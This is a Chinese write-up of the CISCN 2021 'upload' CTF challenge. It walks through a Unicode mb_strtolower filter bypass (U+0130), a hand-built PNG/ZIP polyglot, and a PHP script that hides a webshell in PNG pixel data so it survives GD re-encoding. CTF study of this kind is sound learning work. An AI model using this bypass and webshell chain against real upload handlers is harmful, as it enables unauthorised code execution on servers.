ciscn_2021_初赛upload题解
11点多的时候以为一个小时内怎么也写完了,结果一肝肝到凌晨接近四点。。。人做傻了
回归正题。首先扫描目录,发现存在index.php和example.php。源码如下:
//index.php
<?php
if (!isset($_GET["ctf"])) {
highlight_file(__FILE__);
die();
}
if(isset($_GET["ctf"]))
$ctf = $_GET["ctf"];
if($ctf=="upload") {
if ($_FILES['postedFile']['size'] > 1024*512) {
die("这么大个的东西你是想d我吗?");
}
$imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);
if ($imageinfo === FALSE) {
die("如果不能好好传图片的话就还是不要来打扰我了");
}
if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
die("东西不能方方正正的话就很讨厌");
}
$fileName=urldecode($_FILES['postedFile']['name']);
if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {
die("有些东西让你传上去的话那可不得了");
}
$imagePath = "/var/www/html/image/" . mb_strtolower($fileName);
if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {
echo "upload success, image at $imagePath";
} else {
die("传都没有传上去");
}
}
//example.php
<?php
if (!isset($_GET["ctf"])) {
highlight_file(__FILE__);
die();
}
if(isset($_GET["ctf"]))
$ctf = $_GET["ctf"];
if($ctf=="poc") {
$zip = new \ZipArchive();
$name_for_zip = "example/" . $_POST["file"];
if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
die("要不咱们再看看?");
}
if ($zip->open($name_for_zip) !== TRUE) {
die ("都不能解压呢");
}
echo "可以解压,我想想存哪里";
$pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
$zip->extractTo($pos_for_zip);
$zip->close();
unlink($name_for_zip);
$files = glob("$pos_for_zip/*");
foreach($files as $file){
if (is_dir($file)) {
continue;
}
$first = imagecreatefrompng($file);
$size = min(imagesx($first), imagesy($first));
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
$final_name = pathinfo($file)["basename"];
imagepng($second, 'example/'.$final_name);
imagedestroy($second);
}
imagedestroy($first);
unlink($file);
}
}
先来分析index.php。在index.php中,我们可以上传一个文件,但是有以下几个限制:
-
大小不能超过512KB
-
getimagesize()
的结果必须是长或宽有一个是1(我全都要.jpg) -
mb_strtolower(urldecode(filename))
之后,使用stristr进行判断,不能出现i|ph|c|ph
。
然后服务器会把我们的文件放在/var/www/html/image/
目录下。
再来分析example.php。在example.php中,我们可以解压一个zip后缀的文件,然后对解压后的每一个文件尝试做一系列的png操作(imagecreatefrompng(),imagesx|y(),imagecrop(),imagepng(),imagedestory
);其中imagepng()
会把图片保存到/var/www/html/example
目录下,后缀可控。
看完了这几个脚本的作用后,我们就要考虑怎么getshell了。
Part Ⅰ mb_stringtolower
首先我们可以猜测,给了example.php那肯定要用到,但是查看后发现example.php中zip的后缀检查无法绕过,这和index.php中的stristr($fileName,"i")
相冲突,这肯定存在一个可以绕过的点。而且这里有一个很怪的地方,明明文件存储不需要大小写转换,直接放进去就好了,也不会产生什么影响,而出题人特意进行了转小写,而且还用到了支持更广泛unicode字符的mb_stringtolower()
函数,这里肯定有问题。
考虑到在检测时没有进行大小写转换,而在转换后进行了支持广泛unicode的大小写转换,这里产生了差异,形成了攻击面。在提到unicode大小写转换时,想到blackhat关于IDNA的议题,类比python和nodejs的历史问题,这里进行一次FUZZ来寻找有没有可能绕过的字符。
在不同php版本下跑以下脚本(脚本有个小问题,字母z没有放进去,可以自行修正下,懒狗.jpg):
<?php
echo 'start';echo "\n";
for($j='a';$j<'z';$j++){
echo $j;echo "\n";
for($i=0;$i<0x10FFFF;$i++){
// $a='\u'.str_repeat('0',(4-strlen((string)$i))).dechex($i);
// echo $a;
// $a=json_decode('"'.$a.'"');
$a=mb_convert_encoding('&#x'.dechex($i).';','UTF-8','HTML-ENTITIES');
// echo $a;
if(mb_strtolower($a) === $j && $a!==mb_strtoupper($j) && $a!=$j){
echo json_encode($a);echo $j;
echo "\n";
}
// sleep(1);
}
}
?>
发现在不同版本下结果不同。在php7.1.29
以及php7.2.18
版本下,跑出来两个unicode差异的字符,分别是\u0130:i
以及\u212a:k
;而在php7.3.4
版本下,只跑出来了后者,前者已经消失了。这里在远端环境测试后,发现能够用\u0130
绕过stristr($fileName,"i")
,至此我们可以上传任意带有字母i的文件。
Part Ⅱ getimagesize
在成功绕过后缀的限制后,第二个问题摆在我们面前,如果上传一个能够正常解压缩的zip文件,如何绕过getimagesize()
的判断?在我以前的知识体系中,zip必须要用50 4b作为文件头,无法绕过判断。
在网上搜寻文章后,发现PlaidCTF2016_PixelShop的WP,和本题思路完 全 一 致。参考文中内容,由于zip文件不是从头开始读内容的,而是先从后往前找标志位进行解析,这就让我们可以构造出来一张可以解压缩的图片。
由于原文中只是说了可以构造,但并没有具体介绍如何构造,我便上网找了一篇文章,结合原文给出的样本进行分析在文章中,我们可以发现ZIP使用了多个长度相对地址标识来确定文件结构。在central directory部分中,有如下四字节标志了ZIP压缩包的开始位置(注:相对位置指相对该文件起始字节,即第0个字节的位置,如果仅仅在一个文件范围内考虑,可以认为是绝对地址)
在平常压缩出来的文件中,一般为00 00(因为文件开头就是ZIP的开头)。
但是在我们构造恶意文件时,可以利用这个位置来往文件起始位置添加PNG结构。
在end of central directory record部分中,有如下四字节标志了核心目录开始位置(即上面那部分)距离文档开始的位置。其实可以理解为length(central directory)+上面四字节的偏移值
。
在修改这些值之后,我们便能让解压缩程序正常定位zip文件,从而形成了一个合法的ZIP文件。那如何构成PNG文件呢?这时候我们要考虑PNG文件的结构,除去前面的magic number和一些header后,PNG是用一个一个的chunk来存储像素数据的。在我们不需要保证这个图像的观赏性的前提下,我们可以把ZIP数据塞进一个chunk里面,再加上chunk的头字节(记录了chunk的长度和一个标志字符串),尾字节(CRC32校验码)后便能形成一个合法的PNG文件。
说了这么多理论,那如何实践呢?首先,我们把PlaidCTF的payload借来一用,把他的PNG头部分直接抄过来
然后我们来构造chunk。首先是四个字节的长度信息,我们先用00填充,之后是一个字符串PLTE,照抄就可以。后面我们就要来构造我们的zip文件。首先把我们的webshell进行压缩,拿到正常情况下的zip文件信息。
然后把其中的灰色底色部分(即local file header部分)和无底色部分(即压缩后的文件信息)原样不动照搬下来,之后把灰粉色底色信息和最后的文件尾也都脱下来准备修改。之后将前面所提到的两个位置进行计算和修改后,ZIP文件的部分就完成了。(注意要写成16进制,而且因为zip是小端序的,所以要从后往前读、写)(完蛋,29 00 00 00那个位置改错了,应该再往后推两个字节。。。非常抱歉,理解精神.jpg)
然后我们来构造chunk。首先先计算这个chunk的长度,注意从PLTE字符串之后开始计算。此外,由于RGB是三个一组的,所以我们这里需要构造长度为三的倍数,不够的补足。补足后,将PLTE字符串前四个字符改为这个长度的十六进制值,再补上CRC32校验即构造完成(图中忘了补校验了)
之后再将原payload中剩下的部分直接照抄,PNG&&ZIP就构造完成了。
Part Ⅲ png webshell
在成功上传zip&&png之后,还得再经过一个check我们才能getshell,那就是前面提到的一系列的image操作。如果php判定我们不是一个合法的png程序,或者无法过这些检测,就不能把文件送回web目录下。这里我找到了这篇文章,原理和我们上面讲过的PNG图有关,在我们不需要保证这个图像的观赏性的前提下可以把代码插进图像的RGB值里面来构成webshell。直接把原文中的脚本拿来用
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img);
就能生成一个满足PNG格式的webshell,能够通过上面那些检测。至此,结合上面三个部分,可以成功getshell(本地复现结果)
一些没成功的想法
getimagesize()
可以用#define height
这种来绕过,且上传文件没有限制后缀,会不会存在某种可能,能覆盖掉系统中的某一个文件,然后劫持程序流来执行我们的代码。(有限制,由于前面有脏数据,不能是二进制文件,考虑后作罢)mb_stringtolower()
是否存在能直接绕过ph后缀限制的unicode字符,测试后发现无。